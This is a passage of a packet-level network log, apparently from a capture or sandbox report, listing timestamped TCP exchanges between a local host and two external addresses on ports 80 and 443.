Dec 8, 2024 00:48:48.642657042 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.642718077 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.642760038 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.643433094 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.643487930 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.643521070 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.643569946 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.644223928 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.644282103 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.644315004 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.644361973 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.645036936 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.645086050 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.645139933 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.645181894 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.674747944 CET	443	49805	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:48.675185919 CET	49805	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:48.675196886 CET	443	49805	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:48.675662041 CET	49805	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:48.675667048 CET	443	49805	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:48.703479052 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.703548908 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.703556061 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.703596115 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.801877022 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.801995039 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.802043915 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.802149057 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.802200079 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.802241087 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.802299023 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.802339077 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.802997112 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.803040981 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.803087950 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.803128958 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.803880930 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.803926945 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.803935051 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.803976059 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.804640055 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.804685116 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.804778099 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.804825068 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.805464029 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.805512905 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.805577993 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.805624962 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.806266069 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.806314945 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.806368113 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.806415081 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.807106972 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.807157040 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.807189941 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.807238102 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.807924032 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.807971954 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.808017015 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.808068991 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.808718920 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.808764935 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.808803082 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.808841944 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.809565067 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.809611082 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.809627056 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.809665918 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.810338974 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.810384035 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.810390949 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.810429096 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.811134100 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.811181068 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.811285973 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.811341047 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.812036037 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.812083006 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.812186956 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.812233925 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.812773943 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.812819958 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.812836885 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.812881947 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.813591003 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.813638926 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.813714027 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.813759089 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.814388037 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.814443111 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.814472914 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.814516068 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.815223932 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.815269947 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.815310955 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.815355062 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.816005945 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.816050053 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.816116095 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.816160917 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.816840887 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.816884995 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.816925049 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.816967964 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.817626953 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.817678928 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.817739964 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.817783117 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.874579906 CET	443	49807	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:48.874610901 CET	443	49808	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:48.875123024 CET	49807	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:48.875144958 CET	443	49807	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:48.875529051 CET	49807	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:48.875535965 CET	443	49807	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:48.875807047 CET	49808	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:48.875838041 CET	443	49808	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:48.876205921 CET	49808	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:48.876213074 CET	443	49808	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:48.876581907 CET	443	49809	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:48.876822948 CET	49809	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:48.876852036 CET	443	49809	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:48.877161980 CET	49809	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:48.877170086 CET	443	49809	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:48.877923012 CET	443	49806	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:48.878158092 CET	49806	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:48.878186941 CET	443	49806	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:48.878489017 CET	49806	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:48.878494978 CET	443	49806	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:48.884774923 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.884804010 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.884849072 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.884877920 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.885080099 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.885118961 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.885193110 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.885220051 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.885230064 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.885255098 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.886027098 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.886066914 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.886136055 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.886173964 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.886555910 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.886594057 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.886641026 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.886682034 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.887352943 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.887389898 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.887449980 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.887491941 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.888149977 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.888191938 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.888252974 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.888294935 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.889000893 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.889043093 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.889086008 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.889127970 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.889895916 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.889908075 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.889940977 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.889955044 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.890711069 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.890726089 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.890861034 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.891417027 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.891468048 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.891504049 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.891540051 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.892215014 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.892262936 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.892309904 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.892357111 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.893003941 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.893052101 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.893111944 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.893156052 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.993736029 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.993792057 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:48.993850946 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:48.993896008 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.009191036 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.009218931 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.009243011 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.009272099 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.009485006 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.009531975 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.009568930 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.009617090 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.009696007 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.009742022 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.010386944 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.010435104 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.010535002 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.010581970 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.011200905 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.011246920 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.011302948 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.011352062 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.012029886 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.012075901 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.012114048 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.012159109 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.012804985 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.012851954 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.012900114 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.012943983 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.013624907 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.013670921 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.013741970 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.013787031 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.014440060 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.014486074 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.014539003 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.014585972 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.015290022 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.015331984 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.015383959 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.015436888 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.016093016 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.016139030 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.016175985 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.016217947 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.016957045 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.016980886 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.017003059 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.017019033 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.017719030 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.017766953 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.050452948 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.050615072 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.050621033 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.050662041 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.050883055 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.050930977 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.050942898 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.050987959 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.109216928 CET	443	49805	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:49.109277964 CET	443	49805	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:49.109396935 CET	49805	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:49.109687090 CET	49805	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:49.109687090 CET	49805	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:49.109694958 CET	443	49805	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:49.109703064 CET	443	49805	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:49.112274885 CET	49810	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:49.112299919 CET	443	49810	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:49.112374067 CET	49810	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:49.112540007 CET	49810	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:49.112552881 CET	443	49810	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:49.135581017 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.135602951 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.135637999 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.135654926 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.135844946 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.135895014 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.135982990 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.136028051 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.136636972 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.136682034 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.136735916 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.136776924 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.137425900 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.137470961 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.137550116 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.137593985 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.138264894 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.138313055 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.138367891 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.138417959 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.139051914 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.139097929 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.139153957 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.139197111 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.139875889 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.139924049 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.139940023 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.139980078 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.140671015 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.140714884 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.140780926 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.140825033 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.141484976 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.141530991 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.141606092 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.141648054 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.142304897 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.142349005 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.142416000 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.142457008 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.143100977 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.143166065 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.143219948 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.143258095 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.143923044 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.143969059 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.144046068 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.144090891 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.144747019 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.144793034 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.144793987 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.144829988 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.175509930 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.175620079 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.175676107 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.175908089 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.175951004 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.175981998 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.176021099 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.260143995 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.260309935 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.260407925 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.260710001 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.260759115 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.260759115 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.260802031 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.260965109 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.261008024 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.261032104 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.261071920 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.261795998 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.261837959 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.261902094 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.261940002 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.262583017 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.262636900 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.262701988 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.262785912 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.263374090 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.263474941 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.263520956 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.264229059 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.264278889 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.264324903 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.264368057 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.264996052 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.265038013 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.265106916 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.265147924 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.265819073 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.265933990 CET	80	49784	185.215.113.206	192.168.2.7
